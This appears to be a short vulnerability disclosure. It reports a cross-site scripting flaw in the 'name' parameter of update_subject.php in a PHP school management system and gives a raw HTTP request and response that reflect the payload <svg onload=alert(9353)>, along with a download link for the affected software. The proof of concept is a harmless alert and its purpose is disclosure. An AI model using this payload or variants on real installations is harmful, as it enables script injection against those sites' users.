

XSS injection vulnerability exists in name parameter of /model/update_subject.php file of Complete Web-Based School Management System

With XSS, cybercriminals can turn trusted websites into malicious ones, thus causing inordinate harm and damage not only to the victims but also to the reputation of the trusted website's owner.

Websites that are compromised by XSS can cause any number of threats to attack a user's system. This can involve anything from inappropriate content being displayed to malware being downloaded onto the system without the user knowing.

The screenshot shows the Chrome DevTools Network and Console panels. The Request tab is selected, showing a GET request to `/std1/model/update_subject.php?do=update_subject&id=15&name=<svg%20onload=alert(9353)>`. The Response tab shows a 200 OK status from nginx/1.15.11. The response body contains a JSON array: `["15", "<svg onload=alert(9353)>", 1]`. The search bar at the bottom shows "alert(9353)" with 1 match.

Request	Response
1 GET /std1/model/update_subject.php?do=update_subject&id=15&name=<svg%20onload=alert(9353)> HTTP/1.1	1 HTTP/1.1 200 OK
2 Accept: */*	2 Server: nginx/1.15.11
3 Referer: http://192.168.30.1/std1	3 Date: Thu, 09 May 2024 09:16:07 GMT
4 Cookie: PHPSESSID=0hmf9amcmumd16gsjs2k06ehe	4 Content-Type: text/html; charset=UTF-8
5 Accept-Encoding: gzip, deflate, br	5 Connection: keep-alive
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36	6 X-Powered-By: PHP/7.3.4
7 Host: 192.168.31.163	7 Content-Length: 35
8 Connection: Keep-alive	8
9	9 ["15", "<svg onload=alert(9353)>", 1]
10	

Payload: name=<svg%20onload=alert(9353)>

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>